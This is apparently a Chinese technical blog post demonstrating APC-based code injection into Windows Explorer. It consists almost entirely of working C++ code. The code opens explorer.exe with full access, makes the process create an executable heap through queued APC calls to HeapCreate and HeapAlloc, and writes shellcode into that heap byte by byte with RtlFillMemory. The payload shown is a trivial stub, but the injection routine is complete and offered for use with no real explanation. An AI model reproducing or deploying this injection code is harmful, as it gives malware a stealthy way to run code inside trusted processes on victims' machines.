【注入】利用HeapCreate实现APC注入

概述:利用 HeapCreate 实现 APC 注入

原理

代码

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// NtQueueApcThread.cpp : 定义控制台应用程序的入口点。
//

#include <windows.h>
#include <winternl.h>

#pragma comment(lib,"ntdll.lib")
#define NTKERNELAPI DECLSPEC_IMPORT
#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE64 60
#define GDI_BATCH_BUFFER_SIZE 310

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
#endif

typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];

typedef struct _PEBX64 {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;

PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ReservedBits0 : 25;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID HotpatchInformation;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;

ULONG NumberOfProcessors;
ULONG NtGlobalFlag;

LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;

ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps;

PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;

PRTL_CRITICAL_SECTION LoaderLock;

ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ImageProcessAffinityMask;
GDI_HANDLE_BUFFER GdiHandleBuffer;
PVOID PostProcessInitRoutine;

PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];

ULONG SessionId;

ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;

UNICODE_STRING CSDVersion;

PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;

SIZE_T MinimumStackCommit;

PVOID* FlsCallback;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex;

PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pContextData;
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEBX64, * PPEBX64;

#if false

typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;
#else

typedef _CLIENT_ID* PCLIENT_ID;

#endif

#ifdef __cplusplus
extern "C" {
#endif
NTKERNELAPI LONG NTAPI
RtlCompareUnicodeString(
IN PCUNICODE_STRING String1,
IN PCUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);

NTKERNELAPI NTSTATUS NTAPI
NtFsControlFile(
__in HANDLE FileHandle,
__in_opt HANDLE Event,
__in_opt PIO_APC_ROUTINE ApcRoutine,
__in_opt PVOID ApcContext,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in ULONG IoControlCode,
__in_bcount_opt(InputBufferLength) PVOID InputBuffer,
__in ULONG InputBufferLength,
__out_bcount_opt(OutputBufferLength) PVOID OutputBuffer,
__in ULONG OutputBufferLength
);

NTKERNELAPI NTSTATUS NTAPI
NtWriteFile(
__in HANDLE FileHandle,
__in_opt HANDLE Event,
__in_opt PIO_APC_ROUTINE ApcRoutine,
__in_opt PVOID ApcContext,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in_bcount(Length) PVOID Buffer,
__in ULONG Length,
__in_opt PLARGE_INTEGER ByteOffset,
__in_opt PULONG Key
);

NTKERNELAPI PIMAGE_NT_HEADERS NTAPI
NTAPI
RtlImageNtHeader(
PVOID Base
);

NTKERNELAPI
NTSTATUS
NTAPI
NtQueueApcThread(
IN HANDLE ThreadHandle,
IN FARPROC ApcRoutine,
IN PVOID ApcArgument1,
IN PVOID ApcArgument2,
IN PVOID ApcArgument3
);


NTKERNELAPI
NTSTATUS
NTAPI NtCreateThreadEx(PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateThreadFlags,
DWORD ZeroBits,
DWORD StackSize,
DWORD MaximumStackSize,
PVOID lpBytesBuffer);

NTKERNELAPI NTSTATUS NTAPI
RtlCreateUserThread(
IN HANDLE Process,
IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG ZeroBits OPTIONAL,
IN SIZE_T MaximumStackSize OPTIONAL,
IN SIZE_T CommittedStackSize OPTIONAL,
IN LPTHREAD_START_ROUTINE StartAddress,
IN PVOID Parameter OPTIONAL,
OUT PHANDLE Thread OPTIONAL,
OUT PCLIENT_ID ClientId OPTIONAL
);
#ifdef __cplusplus
}
#endif
#define NT_CREATE_THREAD_EX_SUSPENDED 1
#define NT_CREATE_THREAD_EX_ALL_ACCESS 0x001FFFFF
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)


int _tmain(int argc, _TCHAR* argv[])
{
HWND Shell_TrayWnd = FindWindow(L"Shell_TrayWnd", NULL);
DWORD dwProcessId = 0;
NTSTATUS Status;
BOOL bRet = FALSE;
HANDLE hThread = NULL;
GetWindowThreadProcessId(Shell_TrayWnd, &dwProcessId);
//HANDLE hProcess = OpenProcess(PROCESS_VM_READ|PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION,FALSE,dwProcessId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess)
{
ULONG URet = 0;
SIZE_T SizeRet = 0;
CLIENT_ID ClientId = { 0 };
PEBX64 TheExplorerPeb = { 0 };
PROCESS_BASIC_INFORMATION BasicInfo = { 0 };
Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), &URet);
bRet = ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &TheExplorerPeb, sizeof(TheExplorerPeb), &SizeRet);
ULONG UlHeapArraySize = TheExplorerPeb.NumberOfHeaps * sizeof(ULONG_PTR);
PULONG_PTR UlOldHeapArray = (PULONG_PTR)new BYTE[UlHeapArraySize];
bRet = ReadProcessMemory(hProcess, TheExplorerPeb.ProcessHeaps, UlOldHeapArray, UlHeapArraySize, &SizeRet);
delete[]UlOldHeapArray;
FARPROC RtlFillMemory = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "RtlFillMemory");
//Status = NtCreateThreadEx(&hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)ExitThread, (LPVOID)0, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL);
Status = RtlCreateUserThread(hProcess, NULL, TRUE, 0, 0, 0, (LPTHREAD_START_ROUTINE)ExitThread, NULL, &hThread, &ClientId);
if (NT_SUCCESS(Status))
{
FARPROC HeapCreateProc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "HeapCreate");
Status = NtQueueApcThread(hThread, (FARPROC)HeapCreate, (PVOID)HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (NT_SUCCESS(Status))
{

ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
}

bRet = ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &TheExplorerPeb, sizeof(TheExplorerPeb), &SizeRet);
UlHeapArraySize = TheExplorerPeb.NumberOfHeaps * sizeof(ULONG_PTR);
PULONG_PTR UlNewHeapArray = (PULONG_PTR)new BYTE[UlHeapArraySize];
bRet = ReadProcessMemory(hProcess, TheExplorerPeb.ProcessHeaps, UlNewHeapArray, UlHeapArraySize, &SizeRet);


HANDLE hTestHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
LPVOID lpAllocMem = HeapAlloc(hTestHeap, 0, 0x2000);
ULONG UlHeapOffset = (PBYTE)lpAllocMem - (PBYTE)hTestHeap;
bRet = HeapFree(hTestHeap, 0, lpAllocMem);
bRet = HeapDestroy(hTestHeap);
ULONG_PTR UlRemoteXHeap = UlNewHeapArray[TheExplorerPeb.NumberOfHeaps - 1];
ULONG_PTR UlWriteMemAdr = UlRemoteXHeap + UlHeapOffset;
delete[]UlNewHeapArray;

Status = RtlCreateUserThread(hProcess, NULL, TRUE, 0, 0, 0, (LPTHREAD_START_ROUTINE)ExitThread, NULL, &hThread, &ClientId);
if (NT_SUCCESS(Status))
{
BYTE MemByte[] = { 0x33,0xc0,0xc3,0x90 };
ULONG UlWrite = *(PULONG)MemByte;
FARPROC HeapCreateProc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "HeapCreate");
Status = NtQueueApcThread(hThread, (FARPROC)HeapAlloc, (PVOID)UlRemoteXHeap, 0, (PVOID)0x2000);
for (int i = 0; i < 4; i++)
{
Status = NtQueueApcThread(hThread, (FARPROC)RtlFillMemory, (PVOID)(UlWriteMemAdr + i), (PVOID)1, (PVOID) * (MemByte + i));
}
if (NT_SUCCESS(Status))
{

ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
}

}

return 0;
}



【注入】利用HeapCreate实现APC注入
https://hodlyounger.github.io/2024/10/18/A_OS/Windows/Inject&Hook/【注入】利用HeapCreate实现APC注入/
作者
mingming
发布于
2024年10月18日
许可协议